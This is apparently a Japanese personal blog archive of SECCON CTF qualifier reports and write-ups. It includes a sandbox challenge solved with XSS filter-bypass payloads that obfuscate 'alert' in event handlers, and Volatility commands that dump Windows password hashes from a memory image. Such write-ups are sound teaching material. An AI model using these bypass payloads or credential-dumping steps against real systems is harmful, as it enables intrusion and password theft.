SECCON に関する投稿を表示しています

『SECCON 2014 オンライン予選(日本語)』に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

どうも、ごみばこです。
いろいろあって更新してなかったり、いろんなダメージを追ったりしていますが
わたしはげんきです\('ω')/


というわけで久々のCTFでした。
今回はぼっちーむではなく********で参加です。

2000点で10位だそうです。
http://score.quals.seccon.jp/ranking/

おうち参加ではなくSFCまで行ってエナドリ飲みながらやってました。
複数人でわいわいやると楽しい!サイコー!

ぼっちのときと異なり、よくわからんところは任せよー、人数で押せるなーいいやーとなってしまい、あまり成果でなかったなーと思いました。ひとりのほうが、バイナリもやろうかな、とか、フォレンジックやるか、と、あれこれしようと思えるので、鍛えるならそっちのほうがいいかもしれないですねーって。

writeupはとくにないのでかかないです。
Web300は頑張った(意味深)ので、取れましたけど、周りの人をみるとスッキリ解いてるので、クソ。
http://nash.hatenablog.com/entry/2014/07/19/213114

他はさっぱりでした。
発想力が完全にどこかへ飛び立っていました。

次回もがんばりましょう。

2013 SECCON オンライン予選に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

という記事を書いていなかったので書く。

おつかれさまでした。

なんにもなくてぼっちーむになりました。

解いた問題
<1>Forensics: 1,2,3
<2>Programming/Crypt: 1,2
<3>Binary: -
<4>Network/Web: 1,2,3,4,5
<5>Etc: 1,2

開始:<4>2、<5>1
16時:<1>1
18時:<4>3
19時:<4>5(300pt)
0時:<5>2
3時:<2>2
6時:<4>4、<4>1、<2>1
11時:<1>2、<1>3
(多分こんな感じ)

<1>500も<1>300と同じようなノリでいけるとおもいきや、時間切れ。。
と、いうか10時くらいから調べながら環境作って<1>200と<1>300取れたので、
まあ、なんというか、はい。

Write-upはいったん、<1>2、<1>3、<4>5、だけ書きました。


Web500「途中点もらえます」
ぼく「いや入れなくても最後まで出来る見通しあるし500pt入るっしょw」
スコアサーバ「300(ボソッ」
~終了後~
ぼく「点数あわねーWeb500だーどんまいー」


運営のみなさま、楽しいイベントをありがとうございました。
次回があればまた参加したいです。

[SECCON] Web500 箱庭XSS Final

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

出たな箱庭!

なんどか試しているとどうやら入れた文字列([A-Za-z]?)が使えなくなる模様。なるほど。

1回目:"><script>alert("XSS")</script>
2回目:"><script>alert("XSS")</script> //←NG

困りつつ文字列を分解していく作戦にすると、どうやら一文字は除外される模様。

1回目:"><script>alert("X"+"S"+"S")</script>
2回目:"><script>window["ale"+"rt"]("X"+"S"+"S")</script>

ということで。(動く原理はjsfuckとかで調べてください)

"/onfocus=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/ondblclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeydown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeypress=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeyup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousemove=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousedown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseover=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseout=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onblur=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onchange=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onselect=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousewheel=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
FLAG: アイ・アム・アラート出したいマン!

終わったあとにもう少し触ってみたら、消されたときの残りがくっついて通るんですねこれ。

"><script>alert("XSS")</script>
"><sscriptcript>aalertlert("XXSSSS")</sscriptcript>

Finalということは次には期待しなくていいんですよね(フラグ)

[SECCON] Forensics200 削除されているファイルの名前は何ですか?

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

いろいろ調べてみると、与えられたファイルはMFTのダンプらしいです。

analyzeMFT.py というのを使いました。
dkovar/analyzeMFT

出力してもらってgrepするだけでいいっぽいです。


$ analyzeMFT.py -f Filesystem003.bin -o list.csv && grep "Inactive" list.csv | grep "/"

が、競技中は出力までで、探すのはLibreOfficeにcsvぶち込んで適当にスクロールして見つけました。


FLAG: SkyhookParser.exe

[SECCON] Forensics300 ログインパスワードを解明せよ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

Volatilityってのつかいました。
volatility - An advanced memory forensics framework - Google Project Hosting

メモリダンプをVolatilityに食わせます。
既にWindows7 X86とあったのでこんなかんじのコマンドを。


$ python vol.py hivelist -f ../Memorydump2.bin --profile=Win7SP0x86

Volatility Foundation Volatility Framework 2.3.1
Virtual    Physical   Name
---------- ---------- ----
0x9ff5a3c0 0x37fbb3c0 \SystemRoot\System32\Config\SECURITY
0x9ffc03a0 0x30e243a0 \SystemRoot\System32\Config\SAM
0x8f60c568 0x04bbc568 [no name]
0x8f61c008 0x005d2008 \REGISTRY\MACHINE\SYSTEM
0x8f6448d8 0x04b3c8d8 \REGISTRY\MACHINE\HARDWARE
0x90659650 0x199c0650 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x906d8008 0x13200008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x93cf5008 0x38814008 \Device\HarddiskVolume1\Boot\BCD
0x93d479d0 0x388c19d0 \SystemRoot\System32\Config\SOFTWARE
0x989bc008 0x37920008 \SystemRoot\System32\Config\DEFAULT
0x9e6e69d0 0x005469d0 \??\C:\Users\forensics\ntuser.dat
0x9efe5650 0x028aa650 \??\C:\Users\forensics\AppData\Local\Microsoft\Windows\UsrClass.dat

よいですね。
次に、SYSTEMのレジストリとSAMのアドレスを教えてハッシュをダンプするらしいです。


$ python vol.py hashdump -f ../Memorydump2.bin -y 0x8f61c008 -s 0x9ffc03a0 --profile=Win7SP0x86 > hashs.txt
Volatility Foundation Volatility Framework 2.3.1

$ cat hashs.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
forensics:1000:aad3b435b51404eeaad3b435b51404ee:98ffdb1b29e7c88954326cd4011141d8:::

NTLMハッシュになってるので、あとはツールでも探して投げてください。

FLAG: Kani3

追記

この辺りが参考になりました。
http://forensicmethods.com/wp-content/uploads/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf
http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/